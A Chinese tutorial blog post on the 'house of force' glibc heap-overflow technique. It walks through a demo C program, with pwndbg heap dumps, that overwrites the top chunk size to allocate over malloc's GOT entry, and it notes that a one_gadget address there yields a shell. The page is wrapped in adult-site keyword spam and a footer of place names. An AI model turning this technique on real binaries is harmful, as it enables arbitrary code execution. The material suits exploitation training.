最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

二進(jìn)制安全之堆溢出(系列)—— house of force

2020-03-27 14:17 作者:匯智知了堂  | 我要投稿

原理

源于論文:The malloc maleficarum

利用條件

能夠以溢出的方式控制到top chunk的size域

能夠自由地控制堆分配尺寸的大小

可以構(gòu)造size拿到top chunk本身之外的內(nèi)存,如libc的內(nèi)存空間

Demo

#include<stdio.h>

#include<malloc.h>

#include<unistd.h>

#include<string.h>

int main(){

? ? long *p = malloc(0x10);

? ? sleep(0);

? ? *(p+0x3) = -1;

? ? sleep(0);

? ? malloc(-4120);

? ? sleep;

? ? void *q = malloc(0x10);

? ? strcpy(q,"aaaaaaaa");

? ? malloc(0);

? ? sleep(0);

? ? return 0;

}

調(diào)試

初始堆塊

pwndbg> heap

0x602000 FASTBIN {

prev_size = 0,?

size = 33,?

fd = 0x0,? ? ? ? ? ? ? ? ? ? ? ?-->p指針指向fd

bk = 0x0,?

fd_nextsize = 0x0,?

bk_nextsize = 0x20fe1

}

0x602020 PREV_INUSE {

prev_size = 0,?

size = 135137,?

fd = 0x0,?

bk = 0x0,?

fd_nextsize = 0x0,?

bk_nextsize = 0x0

}

?

pwndbg> x/20gz 0x602000

0x602000:? ?0x0000000000000000? 0x0000000000000021

0x602010:? ?0x0000000000000000? 0x0000000000000000

0x602020:? ?0x0000000000000000? 0x0000000000020fe1

0x602030:? ?0x0000000000000000? 0x0000000000000000

從內(nèi)存布局可以看到(p+0x3)指向top chunk的size位

修改top chunk的size位后

pwndbg> x/20gz 0x602000

0x602000:? ?0x0000000000000000? 0x0000000000000021

0x602010:? ?0x0000000000000000? 0x0000000000000000

0x602020:? ?0x0000000000000000? 0xffffffffffffffff

malloc(-4120)之后

0x602000 FASTBIN {

prev_size = 0,?

size = 33,?

fd = 0x0,?

bk = 0x0,?

fd_nextsize = 0x0,?

bk_nextsize = 0xffffffffffffeff1

}

0x602020 PREV_INUSE {

prev_size = 0,?

size = 18446744073709547505,? ? -->malloc(-4120)

fd = 0x0,?

bk = 0x0,?

fd_nextsize = 0x0,?

bk_nextsize = 0x0

}

0x601010 PREV_INUSE {? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//可以看到現(xiàn)在的堆塊已經(jīng)到libc的got表了

prev_size = 140737351970320,?

size = 4105,?

bk = 0x7ffff7ad9230 <__GI___libc_malloc>, //? got_malloc的地址

fd_nextsize = 0x0 <__sleep>,? ? ? ? ? ? ? ? ? ? ? ? ?//? got_sleep的地址

bk_nextsize = 0x0

}

malloc(-4120)的原因:當(dāng)堆可分配的內(nèi)存分配完之后就會(huì)到頂層的bss段,這里也不一定是-4120

再次申請(qǐng)內(nèi)存 q

0x601010 FASTBIN {

prev_size = 140737351970320,?

size = 33,?

fd = 0x7ffff7a91130 <__GI___libc_malloc>,?

bk = 0x7ffff7ad9230 <__sleep>,?

fd_nextsize = 0x0,?

bk_nextsize = 0xfe9

}

相當(dāng)于把got表所在的內(nèi)存空間malloc下來了

向 q 中寫入aaaaaaaa

0x601010 FASTBIN {

prev_size = 140737351970320,?

size = 33,?

fd = 0x6161616161616161,? ? //aaaaaaaa

bk = 0x7ffff7ad9200 <alarm>,?

fd_nextsize = 0x0,?

bk_nextsize = 0xfe9

}

再次malloc(0)

報(bào)錯(cuò)

因?yàn)樯厦鎸懭氲腶aaaaaaa已經(jīng)把malloc_got的內(nèi)容修改為了aaaaaaaa

這里我么可以寫入onegadget的地址,就能getshell


二進(jìn)制安全之堆溢出(系列)—— house of force的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
鹰潭市| 怀仁县| 政和县| 砀山县| 乐亭县| 忻州市| 元阳县| 内江市| 威宁| 米易县| 通海县| 策勒县| 平顶山市| 循化| 乐业县| 鹤峰县| 沁阳市| 富顺县| 呼伦贝尔市| 定西市| 镇巴县| 嘉禾县| 文安县| 大足县| 安平县| 青海省| 阜平县| 沁源县| 贡嘎县| 永丰县| 巢湖市| 南丰县| 若尔盖县| 高邑县| 上虞市| 冀州市| 德江县| 永城市| 洛浦县| 南京市| 甘泉县|